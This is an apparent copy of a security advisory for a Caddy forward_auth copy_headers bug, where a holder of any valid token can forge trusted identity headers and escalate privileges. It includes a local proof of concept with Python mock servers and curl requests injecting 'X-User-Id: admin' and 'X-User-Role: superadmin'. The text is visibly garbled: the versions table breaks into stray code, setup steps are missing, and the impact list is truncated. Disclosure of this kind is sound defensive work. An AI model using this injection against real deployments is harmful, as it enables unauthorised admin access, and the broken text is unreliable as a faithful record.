GitHub Advisoryadvisory · Go
GHSA-7r4p-vjf4-gxv4 Caddy forward_auth copy_headers Does Not Strip Client-Supplied Headers, Allowing Identity Injection and Privilege Escalation
HIGH
Official page ↗
- Aliases
- CVE-2026-30851
- Ecosystem
- Go
- Packages
- github.com/caddyserver/caddy/v2/modules/caddyhttp/reverseproxy
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
- Weaknesses
- CWE-287, CWE-345
- Reviewed
- 2026-03-06
Affected packages
• Go github.com/caddyserver/caddy/v2/modules/caddyhttp/reverseproxy: >= 2.10.0, < 2.11.2 → fixed in 2.11.2
Description
Summary
Caddy's `forward_auth` directive with `copy_headers` generates conditional header-set operations that only fire when the upstream auth service includes the named header in its response. No delete or remove operation is generated for the original client-supplied request header with the same name.
When an auth service returns `200 OK` without one of the configured `copy_headers` headers, the client-supplied header passes through unchanged to the backend. Any requester holding a valid authentication token can inject arbitrary values for trusted identity headers, resulting in privilege escalation.
This is a regression introduced by PR #6608 in November 2024. All stable releases from v2.10.0 onward are affected.
---
Scope Argument
This is a bug in the source code of this repository, not a misconfiguration.
The operator uses `forward_auth` with `copy_headers` exactly as documented. The documentation contains no warning that client-supplied headers with the same names as `copy_headers` entries must also be stripped manually. The `forward_auth` directive is a security primitive whose stated purpose is to gate backend access behind an external auth service. A user of this directive reasonably expects that the backend cannot receive a client-controlled value for a header listed in `copy_headers`.
The bug is traceable to a specific commit: PR #6608 (merged November 4, 2024), which added a `MatchNot` guard to skip the `Set` operation when the auth response header is absent. This change, while fixing a legitimate UX issue (headers being set to empty strings), removed the incidental protection that the previous unconditional `Set` provided. Before PR #6608, setting a header to an empty/unresolved placeholder overwrote the attacker-supplied value. After PR #6608, the attacker's value survives.
The fix is a single-line code change in `modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go`.
---
Affected Versions
| Version | Vulnerable |
|---|---|
| {code}\n')
sys.stdout.flush()
def log_message(self, *a): pass
HTTPServer(('127.0.0.1', 9091), H).serve_forever()
```
Step 2 — Start the backend
Save as `backend.py` and run `python3 backend.py` in a second terminal:
```python
backend.py
Echoes the identity headers it receives.
import sys, json
from http.server import HTTPServer, BaseHTTPRequestHandler
class H(BaseHTTPRequestHandler):
def do_GET(self):
data = {
'X-User-Id': self.headers.get('X-User-Id', '(absent)'),
'X-User-Role': self.headers.get('X-User-Role', '(absent)'),
}
body = json.dumps(data, indent=2).encode()
self.send_response(200)
self.send_header('Content-Type', 'application/json')
self.send_header('Content-Length', str(len(body)))
self.end_headers()
self.wfile.write(body)
sys.stdout.write(f'[backend] saw: {data}\n')
sys.stdout.flush()
def log_message(self, *a): pass
HTTPServer(('127.0.0.1', 9092), H).serve_forever()
```
Step 3 — Start Caddy
```bash
caddy run --config Caddyfile --adapter caddyfile
```
Step 4 — Run the three test cases
Test A: No token — must be blocked (confirms auth is enforced)
```bash
curl -v http://127.0.0.1:8080/
```
Expected: `HTTP/1.1 401`
---
Test B: Valid token, no injected headers (baseline)
```bash
curl -v http://127.0.0.1:8080/ \
-H "Authorization: Bearer token123"
```
Expected backend response:
```json
{
"X-User-Id": "(absent)",
"X-User-Role": "(absent)"
}
```
---
Test C: ATTACK — valid token plus injected identity headers
```bash
curl -v http://127.0.0.1:8080/ \
-H "Authorization: Bearer token123" \
-H "X-User-Id: admin" \
-H "X-User-Role: superadmin"
```
Actual backend response (demonstrates the vulnerability):
```json
{
"X-User-Id": "admin",
"X-User-Role": "superadmin"
}
```
The backend receives the attacker-supplied identity values. The auth service accepted the token (correctly) but did not return `X-User-Id` or `X-User-Role`. Caddy skipped the `Set` operation due to the `MatchNot` guard but never deleted the original headers. The attacker-controlled values survived into the proxied request.
Test C is the proof of the vulnerability.
The attack requires only a valid (non-privileged) token. No admin account is needed.
---
Full Debug Log
Run Caddy with `debug` in the global block (included in the Caddyfile above). The relevant log lines from Test C will show:
```
DEBUG http.handlers.reverse_proxy selected upstream {"dial": "127.0.0.1:9091"}
DEBUG http.handlers.reverse_proxy upstream responded {"status": 200}
DEBUG http.handlers.reverse_proxy handling response {"handler": "copy_headers"}
```
Note that no log line will show a header deletion because no deletion occurs. The `X-User-Id` and `X-User-Role` headers are never touched.
---
Impact
Any deployment using `forward_auth` with `copy_headers` where the auth service validates credentials without returning identity headers in its response. This is common in:
• Stateless JWT validators (verify signature, no response headers)
• Session validators that leave identity decoding to the backend
• Auth services where only some requests return identity headers
Attack:
1. Attacker has any valid auth token
2. Attacker sends request with forged `X-User-Id: admin` and `X-User-Role: superadmin`
3. Auth service validates token, returns `200 OK`, no identity headers
4. Caddy skips `Set` (placeholder empty), never deletes original headers
5. Backend…
Related
Alias · CVE (1)
- CVE-2026-30851 Caddy is an extensible server platform that uses TLS by default. vulnerability
References
- https://github.com/caddyserver/caddy/security/advisories/GHSA-7r4p-vjf4-gxv4 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-30851 advisory
- https://github.com/caddyserver/caddy/issues/6610 web
- https://github.com/caddyserver/caddy/pull/6608 web
- https://github.com/caddyserver/caddy/pull/7545 web
- https://github.com/caddyserver/caddy package